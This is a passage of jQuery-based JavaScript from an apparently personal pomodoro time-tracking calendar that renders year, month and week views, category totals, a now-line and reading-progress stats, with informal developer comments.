column\r\n // It's slow. Try changing it.\r\n var maxPropWidth = 0;\r\n var measureEl = $(\"<span class='timebar' style='display:none'></span>\");\r\n measureEl.appendTo(\"#cal-body\");\r\n\r\n uniques.forEach(function(property,i) {\r\n // if (category != \"Bindu\") { return; }\r\n // if (!category) { p(i); }\r\n var dayCols =\"<td></td>\";\r\n var propColor = parsleyColors[propToShow][property];\r\n var displayNum;\r\n var propWidth;\r\n for (var i = drawStart; i < drawEnd; i++) {\r\n displayNum = parseInt((gridStats[property][i+1]/1).toFixed(0));\r\n // displayNum = '';\r\n dayCols += gridStats[property][i+1] ? \"<td style='background:\"+propColor+\"'>\"+displayNum+\"</td>\" : \"<td>&nbsp&nbsp</td>\";\r\n // dayCols += gridStats[property][i+1] ? \"<td style='background:\"+propColor+\"'>\" : \"<td>\";\r\n // dayCols += \"&nbsp</td>\";\r\n }\r\n row = $(\"<tr>\");\r\n // var propString = property.replace(' ','&nbsp')+\"&nbsp(\"+stats[propToShow][property]+\"&nbspof&nbsp\"+parsley.stats[propToShow][property]+\")\";\r\n var propString = property+\" (\"+stats[propToShow][property]+\" of \"+parsley.stats[propToShow][property]+\")\";\r\n // maxPropLength = Math.max(propString.length,maxPropLength);\r\n propWidth = measureEl.text(propString).width();\r\n maxPropWidth = Math.max(propWidth,maxPropWidth);\r\n propCol = $(\"<td style='background:\"+propColor+\"'>\"+propString+\"</td>\");\r\n row = row.append(propCol).append(dayCols);\r\n\r\n // $(\"#cal-body\").append(\"<div class=timebar-cat>\"+property+\"</div>\");\r\n table.append(row);\r\n });\r\n $(\"#cal-body\").append(table);\r\n $('.cat-width-setter').css({width:maxPropWidth});\r\n\r\n // r(\"Timebar time: \" + benchElapsed);\r\n\r\n function buildGridStats(tasks) {\r\n var gridStats = {}\r\n tasks = tasks || parsley.tasks\r\n tasks.forEach(function(task) {\r\n // if (task.category != 'Bindu') { return; }\r\n var property = task[propToShow]\r\n gridStats[property] = gridStats[property] || {};\r\n var monthDay = task.baseDate.getDate();\r\n var month = task.baseDate.getMonth();\r\n var yearWeek = weekNum(monthDay)+5*month;\r\n // p(task.baseDate.toLocaleDateString());\r\n // p(yearWeek);\r\n gridStats[property][yearWeek] = gridStats[property][yearWeek] || 0;\r\n //TODO: investigate parsley's string property bullshit\r\n gridStats[property][yearWeek] += parseInt(task.duration);\r\n \r\n // p(task.baseDate.toLocaleDateString(),true);\r\n // p(\" \"+yearWeek);\r\n });\r\n // p(gridStats['Bindu']);\r\n return gridStats;\r\n }\r\n /* Assumes that startDate has already had arcOf() called on it */\r\n /* Corresponds to filterToWeek() in renderWeek() */\r\n //TODO: explore making filterToWeek also use baseDate?\r\n function filterToArc(startDate,tasks) {\r\n var arcStart = startDate.getTime(),\r\n arcEnd = new Date(arcStart),\r\n startMonth = startDate.getMonth();\r\n arcEnd.setMonth(startMonth+4);\r\n \r\n var tasks = tasks || parsley.tasks\r\n\r\n var filtered = tasks.filter(function(task) {\r\n var taskStart = task.baseDate.getTime();\r\n return taskStart >= arcStart && taskStart < arcEnd.getTime();\r\n });\r\n return filtered;\r\n }\r\n function filterToYear(startDate,tasks) {\r\n var targetYear = startDate.getFullYear();\r\n var tasks = tasks || parsley.tasks\r\n var filtered = tasks.filter(function(task) {\r\n var taskYear = task.baseDate.getFullYear();\r\n return targetYear == taskYear;\r\n })\r\n return filtered;\r\n }\r\n }\r\n\r\n function renderMonth(startDate) {\r\n console.log('tried it!')\r\n var i,\r\n $body = $(\"#cal-body\"),\r\n $epicNav = $(\"#mini-epic-nav\"),\r\n $yearNav = $(\"#mini-year-nav\"),\r\n $monthNav = $(\"#mini-month-nav\"),\r\n $row;\r\n\r\n $body.empty();\r\n $(\"#cal-nav *\").unbind();\r\n $yearNav.empty();\r\n\r\n for (i = 0; i < 12; i++) {\r\n $yearNav.append('<div class=\"mini-month\">'+monthNameShort(i)+'</div>');\r\n }\r\n $monthNav.remove();\r\n // epicNav.empty();\r\n $(\"#mini-option-nav\").remove();\r\n\r\n var monthIndex = startDate.getMonth()+1;\r\n $(\"#mini-year-nav .mini-month:nth-child(\"+monthIndex+\")\").addClass(\"current\");\r\n\r\n var $monthBody = $(\"<div id=monthlies-container></div>\");\r\n $monthBody.appendTo($body);\r\n\r\n\r\n $row = $(\"<div class=monthlies-row></div>\");\r\n for (j = 0; j < 7; j++) {\r\n $row.append(\"<div class='monthlies-day-heading'>\"+utils.dayName(j+1)+\"</div>\");\r\n }\r\n $row.appendTo($monthBody);\r\n\r\n var daysInMonth = utils.daysInMonth(startDate);\r\n var pomsPerDay = parsley.dayTarget(startDate);\r\n\r\n var dayNum = 0;\r\n for (i = 0; i < 5; i++) {\r\n $row = $(\"<div class=monthlies-row></div>\");\r\n $row.appendTo($monthBody);\r\n for (j = 1; j <= 7; j++) {\r\n dayNum += 1;\r\n if (dayNum <= daysInMonth) {\r\n $row.append('<div class=\"monthlies-day\" data-day=\"'+dayNum+'\"\"><div class=\"monthlies-day-label\">'+dayNum+'</div></div>');\r\n } else {\r\n $row.append('<div class=\"monthlies-day-overflow\"></div>');\r\n }\r\n }\r\n }\r\n\r\n var tasks = filterToMonth(startDate);\r\n var stats = parsley.createFilteredStats(tasks);\r\n var monthCats = Object.keys(stats.category);\r\n\r\n var dayHeight = parseInt($(\".monthlies-day\").css(\"height\"));\r\n\r\n $(\".monthlies-day\").each(function(index,item) {\r\n var day = $(item).data('day');\r\n if (day) {\r\n renderDay($(item),day,tasks);\r\n }\r\n\r\n });\r\n\r\n function renderDay($dayBody,day,tasks) {\r\n //unpassed vars: dayHeight, hourseInPomDay, pomsPerDay\r\n var dayTasks = filterToDay(day,tasks);\r\n var dayStats = parsley.createFilteredStats(dayTasks);\r\n var dayCats = Object.keys(dayStats.category);\r\n // var hourPixels = parentHeight/(hoursInPomDay*7);\r\n var hourPixels = dayHeight/hoursInPomDay;\r\n var pomHoursPerPeriod = pomsPerDay/6;\r\n var i;\r\n\r\n dayCats.sort(function (a,b) {\r\n return dayStats.category[b] - dayStats.category[a];\r\n });\r\n dayCats.forEach(function(name) {\r\n var poms = dayStats.category[name];\r\n var divHeight = Math.round(poms/2*hourPixels);\r\n\r\n // var divHeight = 10;\r\n\r\n var totalsMinLabelHeight = 11;\r\n $dayBody.append(\"<div style='background:\"+parsleyColors[\"category\"][name]+\";height:\"+divHeight+\"px' class='total-item'>\"+(divHeight >= totalsMinLabelHeight ? name+\" \"+poms : '')+\"</div>\");\r\n });\r\n for (i = 1; i <= 4; i++) {\r\n addPeriodBar(pomHoursPerPeriod*i,i);\r\n }\r\n function addPeriodBar(hours, label) {\r\n var height = Math.round(hours*hourPixels);\r\n label = label || '';\r\n $dayBody.append(\"<div class=mini-periods-bar style='top:\"+height+\"px'>\"+label+\"</div>\");\r\n }\r\n }\r\n\r\n\r\n monthCats.sort(function (a,b) {\r\n return stats.category[b] - stats.category[a];\r\n });\r\n\r\n var monthTotal = monthCats.reduce(function(sum,item) { \r\n return sum + stats.category[item]; \r\n },0);\r\n\r\n $monthTotals = $(\"<div id=month-totals></div>\");\r\n $body.append($monthTotals);\r\n $monthTotals.append(\"<div class=day-heading>Totals</div><div id=totals-body></div><div class=day-footer>\"+monthTotal+\"</div>\");\r\n\r\n // var whatever = tasks.map(function(obj) { return obj.baseDate.toLocaleString() });\r\n\r\n // p(whatever);\r\n\r\n var $totalsBody = $(\"#totals-body\");\r\n //moved to renderCalendar():\r\n // var hoursInPomDay = 15;\r\n var parentHeight = parseInt($totalsBody.css(\"height\"));\r\n\r\n var hourPixels = parentHeight/(hoursInPomDay*31);\r\n\r\n var totalsMinLabelHeight = 10;\r\n // // 1. Take care of basic case (ie. assume there are available divs)\r\n // // 2. Deal with case where there there is no space to redistribute\r\n\r\n monthCats.forEach(function(name) {\r\n var poms = stats.category[name];\r\n var divHeight = Math.round(poms/2*hourPixels);\r\n $totalsBody.append(\"<div style='background:\"+parsleyColors[\"category\"][name]+\";height:\"+divHeight+\"px' class='total-item'>\"+(divHeight >= totalsMinLabelHeight ? name+\" \"+poms : '')+\"</div>\");\r\n });\r\n\r\n\r\n\r\n var pomsPerDay = parsley.dayTarget(startDate);\r\n for (var i = 1; i <= 5; i++) {\r\n addTotalsBar(pomsPerDay*i/2*7,i+\"w\");\r\n }\r\n\r\n function addTotalsBar(hours,label) {\r\n var height = Math.round(hours*hourPixels);\r\n label = label || '';\r\n $totalsBody.append(\"<div class=totals-bar style='top:\"+height+\"px'>\"+label+\"</div>\");\r\n }\r\n /* Uses task baseDate, which has hours zero'd out */\r\n function filterToMonth(startDate,tasks) {\r\n var copiedDate, \r\n monthStartTime,\r\n monthEndTime;\r\n copiedDate = new Date(startDate.getTime());\r\n copiedDate.setDate(1);\r\n copiedDate.setHours(0,0,0,0);\r\n monthStartTime = copiedDate.getTime();\r\n copiedDate.setMonth(copiedDate.getMonth()+1);\r\n monthEndTime = copiedDate.getTime();\r\n\r\n var tasks = tasks || parsley.tasks;\r\n var filtered = tasks.filter(function(task) {\r\n var taskBaseTime = task.baseDate.getTime();\r\n return taskBaseTime >= monthStartTime && taskBaseTime < monthEndTime\r\n });\r\n return filtered;\r\n }\r\n /* Assumes all tasks are from the same month! */\r\n function filterToDay(day,tasks) {\r\n var filtered = tasks.filter(function(task) {\r\n var baseDateDay = task.baseDate.getDate();\r\n return day == baseDateDay;\r\n });\r\n return filtered;\r\n }\r\n\r\n // function filterToWeek(startDate,tasks) {\r\n // var weekStart = startDate.getTime(),\r\n // weekEnd = new Date(weekStart);\r\n // //WARNING: using daysInMonth from WAY up top out of sheer laziness\r\n // //NOTE: this eliminates Week 5 overdraw, but preserves day-bleed\r\n // //Proprietary to renderWeek(), so shouldn't be in here.\r\n // var endDate = Math.min(startDate.getDate()+7,daysInMonth+1);\r\n // weekEnd.setDate(endDate);\r\n\r\n // var tasks = tasks || parsley.tasks\r\n // // p(tasks.length);\r\n\r\n // var filtered = tasks.filter(function(task) {\r\n // var taskStart = task.startDate.getTime();\r\n // return taskStart >= weekStart && taskStart < weekEnd.getTime();\r\n // });\r\n // // p(filtered.length);\r\n // // p(filtered);\r\n // return filtered;\r\n // }\r\n\r\n // var arcs = \"Jan-Apr May-Aug Sep-Dec Full&nbspYear\".split(' ');\r\n // var monthsInArc = 4;\r\n // var monthsToShow = fullYear ? 12 : monthsInArc;\r\n }\r\n\r\n function renderTreemap() {\r\n // p(\"OH BOY!\");\r\n }\r\n\r\n function renderWeek(startDate,hoursOffset,mode,autoAdjustOffset) {\r\n // p(getMinOffset());\r\n // p(hoursOffset);\r\n mode = mode || \"Box\";\r\n //TODO: stop this from changing renderCalendar's startDate!\r\n // Date behavior has gotten really convoluted since the refactor\r\n if (calendar.nowLineInterval) {\r\n clearInterval(calendar.nowLineInterval);\r\n }\r\n startDate.setHours(hoursOffset);\r\n\r\n var startMonthDay = startDate.getDate(),\r\n startDay = startDate.getDay(),\r\n daysInMonth = new Date(startDate.getFullYear(),startDate.getMonth()+1,0).getDate(),\r\n body = $(\"#cal-body\"),\r\n nav = $(\"#cal-nav\"),\r\n tasks = filterToWeek(startDate),\r\n stats = parsley.createFilteredStats(tasks);\r\n //TODO: find better way to keep the closured var updated with next-prev events\r\n // r(daysInMonth);\r\n // p(startDate);\r\n \r\n // p(daysInMonth);\r\n // if (autoAdjustOffset == true) { hoursOffset = getAdjustedOffset(); }\r\n\r\n\r\n body.empty();\r\n nav.empty();\r\n //TODO: ugh, please refactor all rendering!\r\n var navLabels = \"- + R previous next today\".split(' ');\r\n nav.append(div(\"nav-title\",true));\r\n // nav.append('<div id=\"week-title\">'+startDate.toLocaleDateString()+\"</div>\");\r\n nav.append(div(\"mini-epic-nav\",true));\r\n nav.append(div(\"mini-year-nav\",true));\r\n nav.append(div(\"mini-month-nav\",true));\r\n nav.append(div(\"mini-option-nav\",true));\r\n\r\n var epicNav = $(\"#mini-epic-nav\"),\r\n yearNav = $(\"#mini-year-nav\"),\r\n monthNav = $(\"#mini-month-nav\");\r\n optionNav = $(\"#mini-option-nav\");\r\n\r\n parsley.getUnique(\"year\").sort().forEach(function(year) { \r\n epicNav.append('<div class=\"mini-year\">'+year+'</div>')\r\n });\r\n\r\n for (var i = 0; i < 12; i++) {\r\n yearNav.append('<div class=\"mini-month\">'+monthNameShort(i)+'</div>');\r\n }\r\n for (var i = 0; i < 5; i++) {\r\n monthNav.append('<div class=\"mini-week\">'+(i+1)+'</div>');\r\n }\r\n var navOptions = \"Box Report\".split(' ');\r\n for (var i in navOptions) { \r\n optionNav.append('<div class=\"mini-option\">'+navOptions[i]+'</div>');\r\n }\r\n\r\n\r\n var weekIndex = Math.floor((startDate.getDate()-1)/7)+1;\r\n // p(weekIndex);\r\n var monthIndex = startDate.getMonth()+1;\r\n\r\n //Please stop calling parsley.getUnique().sort() for this crap.\r\n var yearIndex = parsley.getUnique(\"year\").sort().indexOf(startDate.getFullYear().toString())+1;\r\n\r\n $(\"#mini-year-nav .mini-month:nth-child(\"+monthIndex+\")\").addClass(\"current\");\r\n $(\"#mini-month-nav .mini-week:nth-child(\"+weekIndex+\")\").addClass(\"current\");\r\n $(\"#mini-epic-nav .mini-year:nth-child(\"+yearIndex+\")\").addClass(\"current\");\r\n $(\"#mini-option-nav .mini-option:nth-child(\"+(navOptions.indexOf(mode)+1)+\")\").addClass(\"current\");\r\n\r\n nav.append(div(navLabels,false,\"nav-button\"));\r\n\r\n\r\n var columnLabel, dayPos;\r\n if (mode == \"Box\") {\r\n for (var i = 0; i < 7; i++ ) {\r\n //this kills extra columns on week 5:\r\n // if (startMonthDay+i > daysInMonth) { break; }\r\n columnLabel = dayName((startDay+i)%7)+'&nbsp'+(startDate.getMonth()+1)+'/'+(startMonthDay+i); \r\n body.append('<div class=\"week-column\"><div class=\"day-heading\">'+columnLabel+'</div><div class=\"day-tasks\"></div></div>');\r\n }\r\n } else {\r\n for (var i = 0; i < 4; i++) {\r\n dayPos = i*2;\r\n columnLabel = (dayPos < 6) ?\r\n dayNameShort((startDay+dayPos)%7)+'-'+dayNameShort((startDay+dayPos+1)%7)+',&nbsp'+monthNameShort(startDate.getMonth())+'&nbsp'+(startMonthDay+dayPos)+'-'+(startMonthDay+dayPos+1) :\r\n dayNameShort((startDay+dayPos)%7)+',&nbsp'+monthNameShort(startDate.getMonth())+'&nbsp'+(startMonthDay+dayPos);\r\n\r\n body.append('<div class=\"block-column\"><div class=\"day-heading\">'+columnLabel+'</div><div class=\"block-report\"></div></div>');\r\n }\r\n }\r\n\r\n var weekCats = Object.keys(stats.category);\r\n weekCats.sort(function (a,b) {\r\n return stats.category[b] - stats.category[a];\r\n });\r\n\r\n var weekTotal = weekCats.reduce(function(sum,item) { \r\n return sum + stats.category[item]; \r\n },0);\r\n\r\n body.append('<div id=week-totals></div>');\r\n $(\"#week-totals\").append(\"<div class=day-heading>Totals</div><div id=totals-body></div><div class=day-footer>\"+weekTotal+\"</div>\");\r\n \r\n var totalsBody = $(\"#totals-body\");\r\n //moved to renderCalendar():\r\n // var hoursInPomDay = 15;\r\n var parentHeight = parseInt(totalsBody.css(\"height\"));\r\n var hourPixels = parentHeight/(hoursInPomDay*7);\r\n\r\n //normally 12\r\n var totalsMinHeight = 0;\r\n //normally superfluous\r\n var totalsMinLabelHeight = 10;\r\n var minHeightAdjustment = 0;\r\n var heightMap = [];\r\n // 1. Take care of basic case (ie. assume there are available divs)\r\n // 2. Deal with case where there there is no space to redistribute\r\n\r\n weekCats.forEach(function(name) {\r\n var poms = stats.category[name];\r\n var divHeight = Math.round(poms/2*hourPixels);\r\n minHeightAdjustment += Math.max(totalsMinHeight-divHeight,0);\r\n // heightMap.push(divHeight);\r\n divHeight = Math.max(divHeight,totalsMinHeight);\r\n heightMap.push(divHeight);\r\n })\r\n var candidateDivs = true;\r\n // for (var z = 0; z < 3; z++) {\r\n while (minHeightAdjustment && candidateDivs) {\r\n candidateDivs = false;\r\n heightMap.forEach(function(height,index) {\r\n if (height <= totalsMinHeight+1 || !minHeightAdjustment) { return }\r\n candidateDivs = true;\r\n heightMap[index] -= 1;\r\n minHeightAdjustment -= 1;\r\n });\r\n }\r\n\r\n // var heightMapSum = heightMap.reduce(function(sum,item) { return sum += item });\r\n\r\n\r\n // p(heightMap);\r\n // p(\"heightMapSum: \" + heightMapSum);\r\n // p(\"candidateDivs: \" + candidateDivs);\r\n\r\n\r\n weekCats.forEach(function(name,i) {\r\n var poms = stats.category[name];\r\n totalsBody.append(\"<div style='background:\"+parsleyColors[\"category\"][name]+\";height:\"+heightMap[i]+\"px' class='total-item'>\"+(heightMap[i] >= totalsMinLabelHeight ? name+\" \"+poms : '')+\"</div>\");\r\n });\r\n // p(\"week total: \" + Math.round(weekTotal/2*hourPixels));\r\n // p(\"adjustment total: \" + minHeightAdjustment);\r\n // var singleAdjust = Math.floor(minHeightAdjustment/adjustedDivs);\r\n // var adjustRemainder = minHeightAdjustment%adjustedDivs;\r\n // p(\"adjusted divs: \"+adjustedDivs);\r\n // p(\"total divs: \" + weekCats.length);\r\n // p(\"single: \"+singleAdjust);\r\n // p(\"remainder: \"+adjustRemainder);\r\n // p('');\r\n\r\n // $(\".total-item\").each(function() {\r\n // var prevHeight = parseInt($(this).css(\"height\"));\r\n \r\n // })\r\n // addTotalsBar(16*7,\"16 hpd\");\r\n // addTotalsBar(15*7,\"15 hpd\");\r\n // addTotalsBar(24*7,\"24 hpd\");\r\n // addTotalsBar(9*7,\"18 ppd\");\r\n // p(weekTotal);\r\n // addTotalsBar(weekTotal/2);\r\n\r\n var pomsPerDay = parsley.dayTarget(startDate);\r\n for (var i = 1; i <= 7; i++) {\r\n addTotalsBar(pomsPerDay*i/2,i+\"d\");\r\n }\r\n\r\n\r\n\r\n function addTotalsBar(hours,label) {\r\n var height = Math.round(hours*hourPixels);\r\n label = label || '';\r\n totalsBody.append(\"<div class=totals-bar style='top:\"+height+\"px'>\"+label+\"</div>\");\r\n }\r\n\r\n var columns = $(\".day-tasks\");\r\n for (var j = 0; j < 48; j++ ) {\r\n columns.append(\"<div class=day-row>\"+(j%2 ? '&nbsp':j/2+hoursOffset)+\"</div>\");\r\n }\r\n\r\n //TODO: put weekSums in parsley\r\n var weekSums = {};\r\n // var weekSumsSubcat = {};\r\n tasks.sort(function (a,b) { \r\n return a.startDate.getTime() - b.startDate.getTime();\r\n });\r\n\r\n //TODO: take hoursOffset into account when deciding block\r\n //TODO: fix bug where last week's block 3 show up this week\r\n if (mode == \"Report\") { printReport(); }\r\n function printReport() {\r\n var reports = [];\r\n tasks.forEach(function(task) {\r\n var baseDay = task.baseDate.getDate();\r\n //TODO: make this a general utility function\r\n var blockIndex = Math.floor(((baseDay-1)%7+2)/2)-1; \r\n reports[blockIndex] = reports[blockIndex] || {};\r\n var report = reports[blockIndex];\r\n\r\n report[task.category] = report[task.category] || {}\r\n report[task.category][task.subcategory] = report[task.category][task.subcategory] || [];\r\n var capitalized = task.description.charAt(0).toUpperCase() + task.description.slice(1);\r\n report[task.category][task.subcategory].push(capitalized);\r\n //ToDo: maybe underline?\r\n // if (task.tag.indexOf(\"!\") != -1) { report[task.category][task.subcategory].push(\"--!--\"); }\r\n }); \r\n reports.forEach(function (report,index) {\r\n var column = $(\".block-report:eq(\"+(index)+\")\");\r\n Object.keys(report).sort().forEach(function (key) {\r\n var color = parsleyColors[\"category\"][key];\r\n // column.append(\"<span style='color:\"+color+\"'>\"+key+\"\\n\");\r\n Object.keys(report[key]).sort().forEach(function (subkey) {\r\n var subcolor = parsleyColors[\"subcategory\"][subkey];\r\n column.append(\"<span style='color:\"+color+\"'>\"+key+\"</span> :: \"+\"<span style='color:\"+subcolor+\"'>\"+subkey+\"\\n\");\r\n for (i in report[key][subkey]) {\r\n column.append(\" \"+report[key][subkey][i]+\"\\n\");\r\n }\r\n });\r\n });\r\n });\r\n }\r\n\r\n // bookTest();\r\n\r\n function bookTest() {\r\n var kindleBooks = parsley.tasks.filter(function (task) {\r\n return task.media && parsley.media[task.media] && parsley.media[task.media].goal\r\n });\r\n var kindleTotals = {};\r\n var kindleToday = {};\r\n var book, sitting;\r\n for (var i in kindleBooks) {\r\n book = kindleBooks[i];\r\n kindleTotals[book.media] = kindleTotals[book.media] || [];\r\n sitting = {};\r\n sitting.date = book.baseDate.getTime();\r\n sitting.progress = parseInt(book.progress);\r\n sitting.duration = parseInt(book.duration);\r\n kindleTotals[book.media].push(sitting);\r\n // p(kindleBooks[i].media);\r\n // p(parsley.media[kindleBooks[i].media].goal);\r\n }\r\n // p(kindleTotals);\r\n for (book in kindleTotals) {\r\n kindleTotals[book] = kindleTotals[book].sort(function(a,b) { return a.date - b.date; });\r\n }\r\n var pomTotal;\r\n for (book in kindleTotals) { \r\n pomTotal = 0;\r\n kindleTotals[book].forEach(function(sitting) { \r\n //TODO: please stop using strings as pom properties!\r\n pomTotal += sitting.duration;\r\n sitting.pomTotal = pomTotal;\r\n });\r\n }\r\n\r\n var lastRead,firstRead;\r\n sitting = {}\r\n for (book in kindleTotals) { \r\n sitting.first = kindleTotals[book][0]\r\n sitting.last = kindleTotals[book][kindleTotals[book].length-1]\r\n lastRead = new Date(sitting.last.date ).toLocaleDateString();\r\n firstRead = new Date(sitting.first.date).toLocaleDateString();\r\n p(book);\r\n p(\" Started: \" + firstRead);\r\n p(\" Last Read: \" + lastRead);\r\n p(\" Progress: \" + sitting.last.progress + \"%\");\r\n p(\" Percent Left: \" + (100-sitting.last.progress) + \"%\");\r\n p(\" Poms Total: \" + sitting.last.pomTotal);\r\n p(\" Progres Per Pom: \" + (sitting.last.progress/sitting.last.pomTotal).toFixed(1) + \"%\");\r\n }\r\n }\r\n\r\n //TODO: rewrite ALL of this! This is AWFUL!\r\n tasks.forEach(function(task) { \r\n var day = task.startDate.getDate()-startMonthDay;\r\n //quicky way to catch month-ends\r\n //necessary to fix after-midnight month-end blocks\r\n if (day < 0) { day += daysInMonth; }\r\n\r\n var startTime = task.startDate.getHours()+task.startDate.getMinutes()/60-hoursOffset;\r\n\r\n //Date difference booleanized on purpose; dayBleedOffset is 0 or 24.\r\n //Only bleeds into next day; 24+ pom tasks not accounted for.\r\n var dayBleedOffset = (task.endDate.getDate()-task.startDate.getDate() != 0)*24;\r\n var endTime = task.endDate.getHours()+task.endDate.getMinutes()/60-hoursOffset + dayBleedOffset;\r\n if (startTime < 0) {\r\n day -= 1;\r\n startTime += 24;\r\n endTime += 24;\r\n dayBleedOffset = 24;\r\n }\r\n //bottom clamps to 0\r\n var top = (startTime/24*100).toFixed(2),\r\n bottom = Math.max((100-(endTime)/24*100),0).toFixed(2);\r\n \r\n //parseInt here fixes \"watch\" bug...\r\n //...result of lack of hasOwnProperty check?\r\n weekSums[task.category] = parseInt(weekSums[task.category]) || 0;\r\n weekSums[task.category] += parseInt(task.duration);\r\n // weekSumsSubcat[task.subcategory] = weekSumsSubcat[task.subcategory] || 0;\r\n // weekSumsSubcat[task.subcategory] += parseInt(task.duration);\r\n\r\n drawTaskBox(day);\r\n\r\n if (endTime > 24 && day < 6) {\r\n top = 0.00;\r\n //if, in unlikely even of 48+ pomodoro task, clamps to 0.\r\n bottom = Math.max((100-(endTime-dayBleedOffset)/24*100),0).toFixed(2);\r\n drawTaskBox(day+1);\r\n }\r\n\r\n function drawTaskBox(day) {\r\n // p(weekSums[task.category]);\r\n // p(task.category +' '+weekSums[task.category]);\r\n var el = $('<div data-i=\"'+task.index+'\" class=\"task\" style=\"top:'+top+'%;bottom:'+bottom+'%;background:'+parsleyColors[\"category\"][task.category]+'\">'+task.category+' '+weekSums[task.category]+'</div>'),\r\n container = $(columns[day]),\r\n height = Math.floor((100-parseInt(bottom)-parseInt(top)-1)/2),\r\n style;\r\n el.appendTo(container);\r\n for (var i = 1; i < height; i++) {\r\n style = i%2 ? \"style='background:white;opacity:0.09'\":'';\r\n // style = \"style='border: 1px dotted rgba(35,35,85,0.5);border-width: 1px 0 0 0'\";\r\n el.append(\"<div \"+style+\">&nbsp</div>\");\r\n }\r\n //This was for kludgy 50/50 cat-subcat display:\r\n // $(columns[day]).append('<div data-i=\"'+task.index+'\" class=\"subtask\" style=\"top:'+top+'%;bottom:'+bottom+'%;background:'+subcatColors[task.subcategory]+'\">'+task.subcategory+' '+weekSumsSubcat[task.subcategory]+'</div>');\r\n }\r\n });\r\n var hoverTimeout = null;\r\n $(\".task\").on(\"mouseover\", function() { \r\n clearTimeout(hoverTimeout);\r\n var parsleyLine = parsley.lines[$(this).data('i')];\r\n $(\"#task-details\").addClass(\"show-task\");\r\n $(\"#task-details\").text(parsleyLine);\r\n });\r\n $(\".task\").on(\"mouseout\", function() {\r\n hoverTimeout = setTimeout(function () {\r\n $(\"#task-details\").removeClass(\"show-task\");\r\n // $(\"#task-details\").text('')\r\n showDayStats();\r\n },1000);\r\n });\r\n\r\n\r\n function showDayStats() {\r\n //TODO: put this with time utility stuff\r\n function formatHour(hour) {\r\n return (hour%12||12)+(Math.floor(hour/12)%2?'pm':'am');\r\n }\r\n var time = new Date();\r\n if ($(\"#task-details\").attr(\"class\") != \"show-task\") {\r\n // p(latestStartDate);\r\n //WARNING: latestStartDate is closured and depends on being called after the calendar has been drawn!!\r\n console.log(time.toLocaleString())\r\n console.log(latestStartDate.toLocaleString())\r\n var hoursSinceStart = Math.floor((time.getTime()-latestStartDate.getTime())/(1000*60*60));\r\n // var hoursSinceStart = time.getHours()-todayStartHour;\r\n var currentPeriod = Math.floor(hoursSinceStart/hoursInPeriod)+1;\r\n var pomsLeft = today.getLeft();\r\n var pomsDone = today.getTotal();\r\n\r\n var periodTarget = Math.ceil(today.getTarget()/3);\r\n var cumulativeTarget = currentPeriod*periodTarget;\r\n var pomsLeftInPeriod = Math.max(cumulativeTarget-pomsDone,0);\r\n\r\n var currentPeriodEndHour = todayStartHour+currentPeriod*hoursInPeriod;\r\n var crunchBeginsHour = currentPeriodEndHour-pomsLeftInPeriod/2;\r\n\r\n // var crunchStatus = (crunchBeginsHour-time.getHours() <= 0) ? \"NOW\" : formatHour(crunchBeginsHour);\r\n\r\n //time.toLocaleTimeString() \r\n var displayString = \"Uptime: \" + hoursSinceStart + \":\" + time.getMinutes() + \":\" + time.getSeconds() + \" Period: \" + currentPeriod + \" \" + \r\n \"Poms Left: \" + pomsLeft + \" \";\r\n // \"Periods: 0 / 0 / 0\" + \" \" + \r\n \r\n // + \" \" +\r\n // \"Crunch: \" + crunchStatus;\r\n $(\"#task-details\").text(displayString);\r\n\r\n }\r\n updateNowBar(time);\r\n }\r\n //implemented this way to make sure it works correctly\r\n //with shifts, quickly. It's HORRIBLY inefficient.\r\n function updateNowBar(time) {\r\n // r(time.getMinutes()/60);\r\n // p(time.getHours());\r\n $(\".week-column\").each(function(index,item) {\r\n // p(index);\r\n var currentDay = new Date(startDate.getTime());\r\n var adjusted = new Date();\r\n adjusted.setHours(adjusted.getHours()-hoursOffset);\r\n currentDay.setDate(currentDay.getDate()+index);\r\n if (currentDay.toDateString() == adjusted.toDateString()) {\r\n var nowDecimal = time.getHours()+time.getMinutes()/60;\r\n // KLUDGE ALERT! this catches after midnight, last day of week\r\n //UPDATE: I have literally no clue when this might break after taking index == 6 out of the below conditional.\r\n if (adjusted.getDate() != time.getDate()) {\r\n index += 1;\r\n }\r\n $(\".now-bar\").remove();\r\n addNowBar(\".day-tasks\",index,nowDecimal-hoursOffset);\r\n return false;\r\n }\r\n });\r\n }\r\n\r\n function addNowBar(el,index,hours,label) {\r\n //99.84 ensures that line doesn't disappear at bottom:\r\n var height = (hours/24*99.84).toFixed(2)/1;\r\n label = label || '';\r\n //PRETTY sure this isn't needed, but just in case I end up wanting it...\r\n // var wrongDayStyle = (height > 100 || height < 0) ? \";border-color:orange\" : '';\r\n if (height > 100) { \r\n height -= 100; index += 1;\r\n } else if (height < 0) {\r\n height += 100; index -= 1;\r\n } \r\n if (index >= 0 && index <= 6) {\r\n // $(el+\":eq(\"+index+\")\").append(\"<div class=now-bar style='top:\"+height+\"%\"+wrongDayStyle+\"'>\"+label+\"</div>\");\r\n $(el+\":eq(\"+index+\")\").append(\"<div class=now-bar style='top:\"+height+\"%'>\"+label+\"</div>\");\r\n }\r\n }\r\n\r\n //in case latestStartDate can't be gotten from the journal nowlines\r\n var isCurrentWeek = (weekOf(currentDate).toDateString() == startDate.toDateString())\r\n $(\".week-column\").each(function (index,item) { \r\n var currentDay = new Date(startDate.getTime());\r\n currentDay.setDate(currentDay.getDate()+index);\r\n //ToDo: get rid of this AWFUL way to get totals!\r\n var total = parsley.dayTotal(currentDay);\r\n var target = parsley.dayTarget(currentDay);\r\n // var ratio = total/target;\r\n // var green = \"rgb(50,100,100)\";\r\n // purple = \"rgb(50,150,75)\";\r\n // orange = \"rgb(150,100,0)\";\r\n // red = \"rgb(150,0,0)\";\r\n\r\n // var colorString = ratio == 1 ? green : ratio > 1 ? purple : ratio > 0.60 ? orange : red;\r\n\r\n // $(this).append(\"<div style='text-align: center;background:\"+colorString+\"'>\"+total+\" / \"+target+\"</div>\");\r\n // if (currentDay.toDateString() == currentDate.toDateString())\r\n // {\r\n // $(this).addClass(\"today-day-tasks\");\r\n // }\r\n\r\n $(this).append(\"<div class='day-footer' style='text-align: center'>\"+total+\"</div>\");\r\n $(this).append(\"<div class='dosage'></div>\");\r\n dosageBox = $('.dosage:last');\r\n dosageItems = journal.dayDosageItems(currentDay);\r\n dosageItems.forEach(function(item) { \r\n dosageBox.append(item + '<br>');\r\n });\r\n var dayStart = journal.dayStartHour(currentDay);\r\n if (typeof dayStart == 'number') { \r\n //TODO: this only really needs to be called once! \r\n if (isCurrentWeek) {\r\n currentDay.setHours(dayStart);\r\n latestStartDate = currentDay;\r\n }\r\n for (var i = 0; i < 4; i++) 